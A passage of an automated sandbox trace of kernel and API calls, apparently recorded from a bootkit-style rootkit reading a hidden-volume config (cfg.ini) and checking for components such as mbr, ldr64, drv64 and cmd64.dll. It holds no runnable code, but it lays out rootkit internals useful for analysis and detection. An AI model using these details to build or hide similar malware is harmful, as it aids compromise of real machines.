KeWaitForMutexObject () returned 0x0 [0121.289] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.289] KeLeaveCriticalRegion () [0121.289] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.289] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.289] KeEnterCriticalRegion () [0121.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.289] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ef000 [0121.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.289] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.289] IdePortDispatch () returned 0x103 [0121.289] KeWaitForMutexObject () returned 0x0 [0121.289] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.289] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.289] IdePortDispatch () returned 0x103 [0121.289] KeWaitForMutexObject () returned 0x0 [0121.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.290] KeLeaveCriticalRegion () [0121.290] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.290] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.290] KeEnterCriticalRegion () [0121.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.290] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.290] KeLeaveCriticalRegion () [0121.290] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.290] KeEnterCriticalRegion () [0121.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.290] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.290] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.290] KeLeaveCriticalRegion () [0121.290] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.290] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.290] KeEnterCriticalRegion () [0121.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.290] ExFreePoolWithTag (P=0xfffffa8003bc4e10, Tag=0x0) [0121.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.290] KeLeaveCriticalRegion () [0121.290] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.290] ReleaseMutex (hMutex=0xf0) returned 1 [0121.290] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.291] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.291] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.291] KeEnterCriticalRegion () [0121.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.291] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.291] IdePortDispatch () returned 0x103 [0121.291] KeWaitForMutexObject () returned 0x0 [0121.291] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.291] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.291] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.291] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.291] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.291] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4ac0 [0121.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.291] KeLeaveCriticalRegion () [0121.291] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.291] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.291] KeEnterCriticalRegion () [0121.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.291] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.291] KeLeaveCriticalRegion () [0121.291] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.291] KeEnterCriticalRegion () [0121.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.291] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.291] IdePortDispatch () returned 0x103 [0121.291] KeWaitForMutexObject () returned 0x0 [0121.292] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.292] KeLeaveCriticalRegion () [0121.292] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.292] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.292] KeEnterCriticalRegion () [0121.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.292] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a00000 [0121.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.292] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.292] IdePortDispatch () returned 0x103 [0121.292] KeWaitForMutexObject () returned 0x0 [0121.292] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.292] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.292] IdePortDispatch () returned 0x103 [0121.292] KeWaitForMutexObject () returned 0x0 [0121.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.292] KeLeaveCriticalRegion () [0121.292] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.293] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.293] KeEnterCriticalRegion () [0121.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.293] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.293] KeLeaveCriticalRegion () [0121.293] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.293] KeEnterCriticalRegion () [0121.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.293] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.293] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4c20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.293] KeLeaveCriticalRegion () [0121.293] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.293] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.293] KeEnterCriticalRegion () [0121.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.293] ExFreePoolWithTag (P=0xfffffa8003bc4ac0, Tag=0x0) [0121.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.293] KeLeaveCriticalRegion () [0121.293] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.293] ReleaseMutex (hMutex=0xf0) returned 1 [0121.293] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.293] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.293] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.293] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.293] KeEnterCriticalRegion () [0121.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.294] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.294] IdePortDispatch () returned 0x103 [0121.294] KeWaitForMutexObject () returned 0x0 [0121.295] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.295] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.295] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.295] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.295] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.295] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.295] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.295] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.295] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.295] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.295] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.295] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.295] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.295] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.295] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.295] KeLeaveCriticalRegion () [0121.295] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.295] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.295] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.295] KeEnterCriticalRegion () [0121.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.295] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.295] IdePortDispatch () returned 0x103 [0121.295] KeWaitForMutexObject () returned 0x0 [0121.296] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.296] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.296] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.296] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.296] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.296] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.296] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.296] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.296] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.296] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.296] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.296] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.296] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.296] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.296] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.296] KeLeaveCriticalRegion () [0121.296] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.296] ReleaseMutex (hMutex=0x100) returned 1 [0121.296] Sleep (dwMilliseconds=0x2bf20) [0121.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b7fdbd0, dwHighDateTime=0x1d24fa4)) [0121.302] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.302] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.302] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.302] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.302] KeEnterCriticalRegion () [0121.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.302] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.302] IdePortDispatch () returned 0x103 [0121.303] KeWaitForMutexObject () returned 0x0 [0121.303] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.303] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.303] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.303] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.303] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.303] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4f10 [0121.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.303] KeLeaveCriticalRegion () [0121.303] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.303] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.303] KeEnterCriticalRegion () [0121.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.303] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.303] KeLeaveCriticalRegion () [0121.303] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.303] KeEnterCriticalRegion () [0121.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.303] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.303] IdePortDispatch () returned 0x103 [0121.303] KeWaitForMutexObject () returned 0x0 [0121.303] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.303] KeLeaveCriticalRegion () [0121.303] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.304] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.304] KeEnterCriticalRegion () [0121.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.304] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a03000 [0121.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.304] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.304] IdePortDispatch () returned 0x103 [0121.304] KeWaitForMutexObject () returned 0x0 [0121.304] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.304] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.304] IdePortDispatch () returned 0x103 [0121.304] KeWaitForMutexObject () returned 0x0 [0121.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.304] KeLeaveCriticalRegion () [0121.304] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.305] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.305] KeEnterCriticalRegion () [0121.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.305] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.305] KeLeaveCriticalRegion () [0121.305] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.305] KeEnterCriticalRegion () [0121.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.305] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.305] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.305] KeLeaveCriticalRegion () [0121.305] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.305] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.305] KeEnterCriticalRegion () [0121.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.305] ExFreePoolWithTag (P=0xfffffa8003bc4f10, Tag=0x0) [0121.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.305] KeLeaveCriticalRegion () [0121.305] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.305] ReleaseMutex (hMutex=0xf0) returned 1 [0121.305] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.305] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.305] _snprintf (in: 